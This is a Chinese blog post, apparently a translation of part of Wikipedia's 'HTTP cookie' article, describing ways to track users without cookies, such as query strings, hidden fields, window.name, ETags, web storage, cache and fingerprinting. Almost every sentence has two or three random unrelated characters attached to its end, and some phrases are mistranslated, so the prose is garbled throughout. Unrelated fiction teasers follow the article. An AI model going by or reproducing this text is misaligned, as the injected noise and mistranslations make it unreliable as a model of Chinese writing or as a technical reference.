然后IP地址通常不是一個可靠的追蹤session或者標(biāo)識用戶的方法矛双。許多電腦設(shè)計的時候就是為了讓一個單獨用戶使用的渊抽,例如辦公PC,家庭PC會在網(wǎng)絡(luò)地址轉(zhuǎn)換協(xié)議下共享一個公共的IP地址背零。而且某些系統(tǒng)腰吟,例如Tor設(shè)計的時候就是為了保持匿名性的,利用IP地址追蹤用戶顯然是不合適的徙瓶,也是不可能的毛雇。

URL 查詢字符串

一個更精確的技術(shù)是基于URL中嵌入信息。URL中的查詢字符串部分通常就是為了實現(xiàn)這個目的的侦镇,當(dāng)然也可以使用其他部分灵疮。Java Servlet和PHP session機制都是使用這種機制,如果cookie被禁止了壳繁。

這種方法由服務(wù)端在web頁面的所有鏈接中追加包含一個獨立session標(biāo)識的查詢字符串組成震捣。當(dāng)用戶點擊了其中了一個鏈接荔棉,瀏覽器把查詢字符串傳給服務(wù)端,允許服務(wù)端識別用戶維持狀態(tài)蒿赢。

這些類型的查詢字符串非常像cookie润樱,都包含任意的信息供服務(wù)端選擇,都會隨請求返回給服務(wù)端羡棵。然而其中還是有點不同的壹若。由于查詢字符串是URL中的一部分,如果URL后面被重復(fù)發(fā)送了皂冰,那么上面附加的相同信息將會被發(fā)送到服務(wù)端店展,這樣可能會產(chǎn)生混亂。例如秃流,如果用戶的偏好信息被放在了查詢字符串中赂蕴,用戶把這個url通過郵件發(fā)給了另一個用戶,那么這些偏好信息就會變成另一個用戶的舶胀。

而且如果相同用戶從不同的源多次訪問相同的頁面概说,這樣不能確保每次使用相同的查詢字符串。例如嚣伐,如果一個用戶第一次通過一個頁面的內(nèi)部站點訪問了一個頁面席怪,然后第二次又通過外部的搜索引擎訪問到這個頁面,這樣查詢字符串可能會不同纤控。如果在這種情況下使用cookie,cookie可以是相同的碉纺。

使用查詢字符串其他缺點就是安全問題船万。在查詢字符串中存儲標(biāo)識session的數(shù)據(jù)可以導(dǎo)致session固定攻擊,referer日志攻擊以及其他安全漏洞骨田。把session標(biāo)識轉(zhuǎn)成HTTP cookie更安全耿导。

隱藏的表單字段

另一種回話跟蹤是使用隱藏域的web表單。這個技術(shù)很像使用url查詢字符串去保存信息态贤,也有一些優(yōu)點和缺點舱呻。事實上,如果通過HTTP的GET方法處理表單悠汽,那么這種技術(shù)就和使用URL查詢字符串類似箱吕,因為GET方法會把表單字段作為查詢字符串追加到URL后面。但是大部分表單都是通過HTTP的POST方法處理柿冲,這樣表單信息包括隱藏的字段都會在HTTP請求體中發(fā)送茬高,這樣既不是URL中的一部分,也不是cookie的一部分假抄。

從追蹤的角度來看這種方式有兩種好處怎栽。第一丽猬,把追蹤信息放在HTTP請求體中而不是URL中意味著它不會被普通用戶察覺。第二熏瞄,當(dāng)用戶復(fù)制URL的時候不會復(fù)制到session信息脚祟。

“window.name” DOM 屬性

所有的現(xiàn)代瀏覽器都可以通過js使用DOM屬性window.name存儲一個相當(dāng)大的數(shù)據(jù)(2-23M)。這個數(shù)據(jù)可以用來代替session cookie也是可以跨域的强饮。這個技術(shù)可以和JSON對象一起使用來存儲客戶端上的復(fù)雜session變量集合由桌。

不足就是美國單獨的窗口或者tab頁剛開始打開的時候會有一個空的window.name屬性。而且胡陪,這個屬性可以用來追蹤不同站點的訪問者沥寥。

在某些方面,這種方法可能比cookie更加方便柠座,因為它的內(nèi)容不會像cookie那樣在每次請求的時候自動的發(fā)送給服務(wù)端邑雅,所以它不易收到網(wǎng)絡(luò)cookie嗅探攻擊。然而如果不采用特殊的方法保護(hù)數(shù)據(jù)妈经,它很容易受到其他攻擊淮野,因為數(shù)據(jù)可以被在同一個窗口或者tab中打開的其他站點獲取到。

廣告主標(biāo)識碼

蘋果使用了追蹤技術(shù)稱為“廣告主標(biāo)識碼”(IDFA)吹泡。這種技術(shù)會給每個購買蘋果產(chǎn)品的用戶分配一個唯一標(biāo)識骤星。這個唯一標(biāo)識會被蘋果網(wǎng)絡(luò)廣告系統(tǒng)使用,來確定用戶正在查看或者回復(fù)的廣告爆哑。

ETag

因為瀏覽器會緩存ETags洞难,然后在后續(xù)的請求相同資源時返回,追蹤服務(wù)器可以簡單的復(fù)制從瀏覽器接受的任意ETag來確保ETag長久留存(就像持久化cookie一樣)揭朝。增加緩存頭也可以加強ETag數(shù)據(jù)的保存队贱。

在某些瀏覽器中可以通過清理緩存來清楚ETag數(shù)據(jù)。

web 存儲

一些web瀏覽器支持持久化機制潭袱,允許頁面本地存儲信息以后使用柱嫌。

HTML5標(biāo)準(zhǔn)(絕大多數(shù)現(xiàn)代瀏覽器在某種程度上都支持)包含了一個Javascript API叫做Web storage:local storage和session storage。local storage的行為和持久化cookie類似屯换,而session storage的行為和session cookie的行為類似编丘,也就是session storage是綁定在一個單獨的tab或者窗口的生命周期中的(也就是頁面session),而session cookie是針對整個瀏覽器的彤悔。

IE支持在瀏覽器歷史中持久化信息嘉抓,在瀏覽器的收藏夾中,以一個XML格式存儲蜗巧,或者直接在頁面中存儲到硬盤掌眠。

一些web瀏覽器插件也包含持久化機制。例如Flash有Local shared object幕屹,Silverlight有 Isolated storage蓝丙。

瀏覽器緩存

瀏覽器緩存也可以用來存儲信息级遭,利用這些信息也可以用來追蹤用戶。這項技術(shù)利用的真相是當(dāng)瀏覽器判斷出來緩存的已經(jīng)是最新資源時可以利用緩存而不是重新從站點下載渺尘。

例如挫鸽,一個站點托管了一個js文件,這個js文件可以給用戶指定一個唯一標(biāo)識(例如鸥跟,var userId = 3243242)丢郊。只要用戶訪問之后,每次用戶再訪問這個頁面時医咨,這個文件都會從緩存中獲取而不是從服務(wù)端獲取枫匾。所以它的內(nèi)容永遠(yuǎn)不會變。

瀏覽器指紋

瀏覽器指紋是指瀏覽器配置信息的集合拟淮,例如版本號干茉,屏幕分辨率,操作系統(tǒng)很泊。指紋信息可以用來完全或者部分標(biāo)識獨立用戶或者設(shè)備角虫,即使cookie已經(jīng)被關(guān)閉了。

基本的web瀏覽器配置信息一直都在被web分析服務(wù)搜集為了精確的統(tǒng)計真實網(wǎng)絡(luò)流量和不同類型的點擊欺詐委造。在客戶端腳本的幫助下戳鹅,搜集更多的參數(shù)也是有可能的。

做好前端開發(fā)必須對HTTP的相關(guān)知識有所了解昏兆,所以我創(chuàng)建了一個專題前端必備HTTP技能專門收集前端相關(guān)的HTTP知識枫虏,歡迎關(guān)注,投稿爬虱。


PS:本文翻譯自維基百科模软,原文地址https://en.wikipedia.org/wiki/HTTP_cookie

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市饮潦,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌携狭,老刑警劉巖继蜡,帶你破解...
    沈念sama閱讀 219,270評論 6 508
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異逛腿,居然都是意外死亡稀并,警方通過查閱死者的電腦和手機,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,489評論 3 395
  • 文/潘曉璐 我一進(jìn)店門单默,熙熙樓的掌柜王于貴愁眉苦臉地迎上來碘举,“玉大人,你說我怎么就攤上這事搁廓∫保” “怎么了耕皮?”我有些...
    開封第一講書人閱讀 165,630評論 0 356
  • 文/不壞的土叔 我叫張陵,是天一觀的道長蝙场。 經(jīng)常有香客問我凌停,道長,這世上最難降的妖魔是什么售滤? 我笑而不...
    開封第一講書人閱讀 58,906評論 1 295
  • 正文 為了忘掉前任罚拟,我火速辦了婚禮,結(jié)果婚禮上完箩,老公的妹妹穿的比我還像新娘赐俗。我一直安慰自己,他們只是感情好弊知,可當(dāng)我...
    茶點故事閱讀 67,928評論 6 392
  • 文/花漫 我一把揭開白布阻逮。 她就那樣靜靜地躺著,像睡著了一般吉捶。 火紅的嫁衣襯著肌膚如雪夺鲜。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,718評論 1 305
  • 那天呐舔,我揣著相機與錄音币励,去河邊找鬼。 笑死珊拼,一個胖子當(dāng)著我的面吹牛食呻,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播澎现,決...
    沈念sama閱讀 40,442評論 3 420
  • 文/蒼蘭香墨 我猛地睜開眼仅胞,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了剑辫?” 一聲冷哼從身側(cè)響起干旧,我...
    開封第一講書人閱讀 39,345評論 0 276
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎妹蔽,沒想到半個月后椎眯,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,802評論 1 317
  • 正文 獨居荒郊野嶺守林人離奇死亡胳岂,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,984評論 3 337
  • 正文 我和宋清朗相戀三年编整,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片乳丰。...
    茶點故事閱讀 40,117評論 1 351
  • 序言:一個原本活蹦亂跳的男人離奇死亡掌测,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出产园,到底是詐尸還是另有隱情汞斧,我是刑警寧澤夜郁,帶...
    沈念sama閱讀 35,810評論 5 346
  • 正文 年R本政府宣布,位于F島的核電站断箫,受9級特大地震影響拂酣,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜仲义,卻給世界環(huán)境...
    茶點故事閱讀 41,462評論 3 331
  • 文/蒙蒙 一婶熬、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧埃撵,春花似錦赵颅、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,011評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至谣拣,卻和暖如春募寨,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背森缠。 一陣腳步聲響...
    開封第一講書人閱讀 33,139評論 1 272
  • 我被黑心中介騙來泰國打工拔鹰, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人贵涵。 一個月前我還...
    沈念sama閱讀 48,377評論 3 373
  • 正文 我出身青樓列肢,卻偏偏與公主長得像,于是被迫代替她去往敵國和親宾茂。 傳聞我的和親對象是個殘疾皇子瓷马,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 45,060評論 2 355

推薦閱讀更多精彩內(nèi)容